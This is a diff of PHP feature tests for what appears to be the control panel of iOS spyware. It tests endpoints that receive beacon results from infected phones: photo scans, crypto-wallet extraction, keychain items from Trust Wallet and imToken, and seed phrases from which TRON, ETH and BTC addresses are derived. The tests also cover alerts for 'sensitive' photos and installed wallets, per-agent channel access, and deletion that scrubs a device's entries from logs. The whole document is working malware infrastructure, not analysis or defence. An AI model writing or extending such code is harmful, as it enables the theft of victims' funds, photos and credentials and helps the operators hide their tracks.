]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0005.MP4',
'category' => 'photos',
'data' => base64_encode('ftypisom'),
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'photo_scan.json',
'data' => base64_encode('{"status":"success","uploaded":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4');
}
#[Test]
public function result_skips_duplicate_payloads_already_ingested(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-1',
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-1',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-2',
]);
DsBeaconTask::query()->where('type', 'wallet_extract')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-2',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-2',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-2',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json');
}
#[Test]
public function result_assembles_chunks_before_store(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'family' => Device::FAMILY_DARKSWORD,
]);
$task = DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-chunk-1',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 0,
'total_chunks' => 2,
'data' => base64_encode("\x89PNG"),
])->assertOk();
$this->assertSame(0, Photo::query()->count());
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 1,
'total_chunks' => 2,
'data' => base64_encode("\r\n\x1a\n"),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG');
$this->assertSame(
"\x89PNG\r\n\x1a\n",
Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG')
);
}
#[Test]
public function event_heartbeats_without_device_events(): void
{
$this->postJson('/event', [
'lhu' => self::DS_LHU,
'et' => 'injection_success',
])->assertOk()->assertJson(['ok' => true]);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
}
}
+78 -3
View File
@@ -10,6 +10,7 @@ use App\Models\User;
use App\Services\IngestService; use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -72,16 +73,16 @@ class DeviceAlbumStorageTest extends TestCase
Http::assertSent(function ($request) { Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? ''); $text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'Sensitive Photo') return str_contains($text, '敏感照片')
&& str_contains($text, 'dev-hit12') && str_contains($text, 'dev-hit12')
&& str_contains($text, 'x-hit</b>: 12'); && str_contains($text, '敏感分</b>: 12');
}); });
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) { $this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
$text = (string) ($pair[0]->data()['text'] ?? ''); $text = (string) ($pair[0]->data()['text'] ?? '');
return str_contains($text, 'Sensitive Photo'); return str_contains($text, '敏感照片');
})->count()); })->count());
@unlink($tmp); @unlink($tmp);
@@ -155,4 +156,78 @@ class DeviceAlbumStorageTest extends TestCase
->postJson(route('user.devices.photos.clear', $other)) ->postJson(route('user.devices.photos.clear', $other))
->assertForbidden(); ->assertForbidden();
} }
#[Test]
public function photo_endpoint_serves_png_as_is(): void
{
Storage::fake('local');
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-png']);
$tmp = sys_get_temp_dir().'/album_'.uniqid().'.png';
$im = imagecreatetruecolor(4, 4);
imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 1, 2, 3));
imagepng($im, $tmp);
$png = (string) file_get_contents($tmp);
@unlink($tmp);
$path = 'c2/photos/dev-png/shot.png';
Storage::disk('local')->put($path, $png);
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => hash('sha256', $png),
'path' => $path,
'size' => strlen($png),
]);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.photo', [$device, $photo->id]))
->assertOk()
->assertHeader('Content-Type', 'image/png')
->assertSee($png, false);
}
#[Test]
public function photo_endpoint_serves_heic_as_jpeg(): void
{
if (! is_executable('/usr/bin/sips')) {
$this->markTestSkipped('sips is required to generate and convert HEIC');
}
Storage::fake('local');
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-heic']);
$jpg = sys_get_temp_dir().'/album_'.uniqid().'.jpg';
$heicTmp = sys_get_temp_dir().'/album_'.uniqid().'.heic';
$im = imagecreatetruecolor(8, 8);
imagefilledrectangle($im, 0, 0, 7, 7, imagecolorallocate($im, 20, 40, 60));
imagejpeg($im, $jpg, 90);
$made = Process::timeout(20)->run(['/usr/bin/sips', '-s', 'format', 'heic', '--out', $heicTmp, $jpg]);
@unlink($jpg);
if (! $made->successful() || ! is_file($heicTmp)) {
$this->markTestSkipped('sips could not write a HEIC fixture');
}
$bytes = (string) file_get_contents($heicTmp);
@unlink($heicTmp);
$path = 'c2/photos/dev-heic/IMG_0004.HEIC';
Storage::disk('local')->put($path, $bytes);
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => hash('sha256', $bytes),
'path' => $path,
'size' => strlen($bytes),
]);
$res = $this->actingAs($admin, 'admin')
->get(route('admin.devices.photo', [$device, $photo->id]))
->assertOk()
->assertHeader('Content-Type', 'image/jpeg');
$this->assertSame("\xFF\xD8", substr($res->getContent(), 0, 2));
$this->assertSame($bytes, Storage::disk('local')->get($path));
Storage::disk('local')->assertExists('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
$this->actingAs($admin, 'admin')
->postJson(route('admin.devices.photos.clear', $device))
->assertOk();
Storage::disk('local')->assertMissing('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
}
} }
+74 -14
View File
@@ -7,7 +7,10 @@ use App\Models\Channel;
use App\Models\Device; use App\Models\Device;
use App\Models\DeviceApp; use App\Models\DeviceApp;
use App\Models\DeviceEvent; use App\Models\DeviceEvent;
use App\Models\DsBeaconTask;
use App\Models\DsChainLog;
use App\Models\Note; use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo; use App\Models\Photo;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress; use App\Models\WalletAddress;
@@ -70,22 +73,79 @@ class DeviceDeleteTest extends TestCase
'device_id' => $device->id, 'device_id' => $device->id,
'raw_json' => ['k' => 1], 'raw_json' => ['k' => 1],
]); ]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'basic_info',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsChainLog::query()->create([
'client_uid' => 'dev-del-1',
'stage' => 'pe',
'progress' => 86,
'label' => 'pe',
'created_at' => now(),
]);
DsChainLog::query()->create([
'client_uid' => 'keep-other-uid',
'stage' => 'boot',
'progress' => 8,
'label' => 'boot',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => '86C1AAD5',
'client_uid' => 'dev-del-1',
'chain' => PageVisit::CHAIN_DARKSWORD,
'os' => 'iOS',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => '86C1AAD5',
'client_uid' => 'keep-other-uid',
'chain' => PageVisit::CHAIN_DARKSWORD,
'os' => 'iOS',
'created_at' => now(),
]);
$dsLog = public_path('log/ds/20990101.log');
@mkdir(dirname($dsLog), 0775, true);
file_put_contents($dsLog,
"2026-08-24 03:00:00 /beacon {\"uuid\":\"dev-del-1\",\"keep\":false}\r\n\r\n".
"2026-08-24 03:00:01 /beacon {\"uuid\":\"keep-other-uid\",\"keep\":true}\r\n\r\n"
);
Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}');
Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x');
$this->actingAs($admin, 'admin') try {
->deleteJson(route('admin.devices.destroy', $device)) $this->actingAs($admin, 'admin')
->assertOk() ->deleteJson(route('admin.devices.destroy', $device))
->assertJsonPath('code', 0); ->assertOk()
->assertJsonPath('code', 0);
$this->assertNull(Device::query()->find($device->id)); $this->assertNull(Device::query()->find($device->id));
$this->assertSame(0, Photo::query()->count()); $this->assertSame(0, Photo::query()->count());
$this->assertSame(0, DeviceApp::query()->count()); $this->assertSame(0, DeviceApp::query()->count());
$this->assertSame(0, DeviceEvent::query()->count()); $this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(0, Note::query()->count()); $this->assertSame(0, Note::query()->count());
$this->assertSame(0, WalletAddress::query()->count()); $this->assertSame(0, WalletAddress::query()->count());
$this->assertSame(0, WalletMnemonic::query()->count()); $this->assertSame(0, WalletMnemonic::query()->count());
$this->assertSame(0, WalletKeystore::query()->count()); $this->assertSame(0, WalletKeystore::query()->count());
Storage::disk('local')->assertMissing($photoPath); $this->assertSame(0, DsBeaconTask::query()->count());
Storage::disk('local')->assertMissing($checkPath); $this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count());
$this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count());
$this->assertSame(0, PageVisit::query()->where('client_uid', 'dev-del-1')->count());
$this->assertSame(1, PageVisit::query()->where('client_uid', 'keep-other-uid')->count());
Storage::disk('local')->assertMissing($photoPath);
Storage::disk('local')->assertMissing($checkPath);
Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json');
Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0');
$this->assertFileExists($dsLog);
$left = (string) file_get_contents($dsLog);
$this->assertStringNotContainsString('dev-del-1', $left);
$this->assertStringContainsString('keep-other-uid', $left);
} finally {
@unlink($dsLog);
}
} }
#[Test] #[Test]
+1 -1
View File
@@ -86,7 +86,7 @@ class DeviceWalletFlagTest extends TestCase
$walletAlerts = 0; $walletAlerts = 0;
Http::assertSent(function ($request) use (&$walletAlerts) { Http::assertSent(function ($request) use (&$walletAlerts) {
$text = (string) ($request->data()['text'] ?? ''); $text = (string) ($request->data()['text'] ?? '');
if (str_contains($text, 'Installed Wallets')) { if (str_contains($text, '已安装钱包')) {
$walletAlerts++; $walletAlerts++;
$this->assertStringContainsString('MetaMask', $text); $this->assertStringContainsString('MetaMask', $text);
$this->assertStringContainsString('imToken', $text); $this->assertStringContainsString('imToken', $text);
+133
View File
@@ -0,0 +1,133 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class KeystoreAdminTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_lists_keystores_and_items(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'DEVKEYSTORE01',
'channel_id' => 'ch-ks-1',
]);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 1,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trust.account',
'service' => null,
'accessGroup' => '9873B38DWV.com.sixdays.trust',
'protectionClass' => 9,
'dataHex' => bin2hex('777350'),
]],
],
],
],
]);
$this->actingAs($admin, 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('count', 1)
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.decrypted', 1)
->assertJsonPath('data.0.kind', '钥匙串')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account')
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.items', $row))
->assertOk()
->assertJsonPath('data.items.0.account', 'trust.account')
->assertJsonPath('data.items.0.data_preview', '777350');
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account');
}
#[Test]
public function agent_only_sees_own_channel_keystores(): void
{
$agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]);
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]);
$devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]);
$rowA = WalletKeystore::query()->create([
'device_id' => $devA->id,
'source' => 'imToken',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]],
]);
$rowB = WalletKeystore::query()->create([
'device_id' => $devB->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
]);
$this->actingAs($agentA, 'agent')
->get(route('user.home'))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($agentA, 'agent')
->getJson(route('user.keystores.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_key', 'dev-ks-a');
$this->actingAs($agentA, 'agent')
->getJson(route('user.keystores.items', $rowA))
->assertOk()
->assertJsonPath('data.items.0.account', 'walletsV2.json');
$this->actingAs($agentA, 'agent')
->getJson(route('user.keystores.items', $rowB))
->assertForbidden();
}
}
+30 -1
View File
@@ -268,11 +268,40 @@ class MnemonicAddressLinkTest extends TestCase
$this->assertNull($addr->mnemonic_id); $this->assertNull($addr->mnemonic_id);
$this->artisan('coruna:link-mnemonics') $this->artisan('coruna:link-mnemonics')
->expectsOutputToContain('linked=1') ->expectsOutputToContain('linked=1 discovered=0')
->assertSuccessful(); ->assertSuccessful();
$addr->refresh(); $addr->refresh();
$this->assertSame($mnemonic->id, $addr->mnemonic_id); $this->assertSame($mnemonic->id, $addr->mnemonic_id);
$this->assertSame(0, $addr->derive_index); $this->assertSame(0, $addr->derive_index);
} }
#[Test]
public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void
{
$device = Device::query()->create(['device_id' => 'dev-backfill-derive']);
$mnemonic = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$mnemonic->mnemonic = self::MNEMONIC;
$mnemonic->save();
$this->artisan('coruna:link-mnemonics')
->expectsOutputToContain('linked=0 discovered=3')
->assertSuccessful();
$rows = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$this->assertCount(3, $rows);
$this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all());
$this->assertSame([
self::TRON_0,
self::ETH_0,
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
], $rows->pluck('address')->all());
$this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all());
}
} }

Some files were not shown because too many files have changed in this diff Show More